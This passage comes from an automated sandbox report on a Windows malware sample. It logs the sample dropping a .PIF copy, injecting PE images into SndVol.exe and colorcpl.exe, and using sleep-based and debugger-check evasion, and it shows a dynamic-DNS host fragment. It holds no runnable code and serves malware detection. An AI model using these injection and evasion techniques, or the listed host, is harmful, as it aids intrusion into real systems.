                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\SndVol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior

                    Malware Analysis System Evasion

                    barindex
                    Delayed program exit found
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040F6F5 Sleep,ExitProcess,1_2_0040F6F5
                    Source: C:\Windows\SysWOW64\SndVol.exe TID: 7160Thread sleep time: -79500s >= -30000sJump to behavior
                    Source: C:\Windows\SysWOW64\SndVol.exeLast function: Thread delayed
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,1_2_0041A69A
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,1_2_00407C97
                    Source: C:\Windows\SysWOW64\SndVol.exeAPI call chain: ExitProcess graph end nodegraph_1-48710
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.216873929.00000000005C1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW8
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.216873929.0000000000602000.00000004.00000020.00020000.00000000.sdmp, Fnvtdhen.PIF, 00000002.00000002.253289545.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Fnvtdhen.PIF, 00000002.00000002.253289545.0000000000606000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                    Source: Fnvtdhen.PIF, 00000002.00000002.253289545.00000000005D6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW(
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.216873929.00000000005F4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWevawe.ydns.eu/
                    Source: SndVol.exe, 00000001.00000003.216691336.000000000083A000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000001.00000003.352563567.000000000083A000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000001.00000003.216644931.000000000083A000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000001.00000002.474404070.000000000083A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information queried: ProcessInformationJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB58CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,0_2_02CB58CC
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041C1E3 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,1_2_0041C1E3
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,1_2_00409253
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040C29B FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,1_2_0040C29B
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,1_2_00409665
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0044E749 FindFirstFileExA,1_2_0044E749
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,1_2_0040880C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040783C FindFirstFileW,FindNextFileW,1_2_0040783C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00419A47 FindFirstFileW,FindNextFileW,FindNextFileW,1_2_00419A47
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040BA7E FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,1_2_0040BA7E
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040BC85 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,1_2_0040BC85
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC7B14 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,0_2_02CC7B14
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00443224 mov eax, dword ptr fs:[00000030h]1_2_00443224
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0043494B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_0043494B
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0044FA9E GetProcessHeap,1_2_0044FA9E
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00434A99 SetUnhandledExceptionFilter,1_2_00434A99
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0043494B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_0043494B
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0043BA72 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_0043BA72
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00434F4C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00434F4C

                    HIPS / PFW / Operating System Protection Evasion

                    barindex
                    Allocates memory in foreign processes
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeMemory allocated: C:\Windows\SysWOW64\SndVol.exe base: 62F0000 protect: page execute and read and writeJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFMemory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 6190000 protect: page execute and read and writeJump to behavior
                    Injects a PE file into a foreign processes
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeMemory written: C:\Windows\SysWOW64\SndVol.exe base: 62F0000 value starts with: 4D5AJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFMemory written: C:\Windows\SysWOW64\colorcpl.exe base: 6190000 value starts with: 4D5AJump to behavior
                    Writes to foreign memory regions
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeMemory written: C:\Windows\SysWOW64\SndVol.exe base: 62F0000Jump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFMemory written: C:\Windows\SysWOW64\colorcpl.exe base: 6190000Jump to behavior
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe1_2_00412045
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00419579 mouse_event,1_2_00419579
                    Source: SndVol.exe, 00000001.00000003.352563567.000000000083A000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000001.00000002.474404070.000000000083A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                    Source: SndVol.exe, 00000001.00000002.474404070.000000000083A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managers.eu:1972=L
                    Source: SndVol.exe, 00000001.00000003.352563567.000000000083A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerr]
                    Source: SndVol.exe, 00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000001.00000002.474404070.000000000083A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
                    Source: SndVol.exe, 00000001.00000002.474404070.000000000083A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager|
                    Source: SndVol.exe, 00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, logs.dat.1.drBinary or memory string: [Program Manager]
                    Source: SndVol.exe, 00000001.00000002.474404070.000000000083A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager4L
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,0_2_02CB5A90
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: GetLocaleInfoA,0_2_02CBA7F4
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: GetLocaleInfoA,0_2_02CBA7A8
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,0_2_02CB5B9C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,1_2_00452014
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: GetLocaleInfoW,1_2_00452264
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: EnumSystemLocalesW,1_2_004482D4
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,1_2_0045238D
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: GetLocaleInfoW,1_2_00452494
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,1_2_00452561
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: GetLocaleInfoW,1_2_004487BD
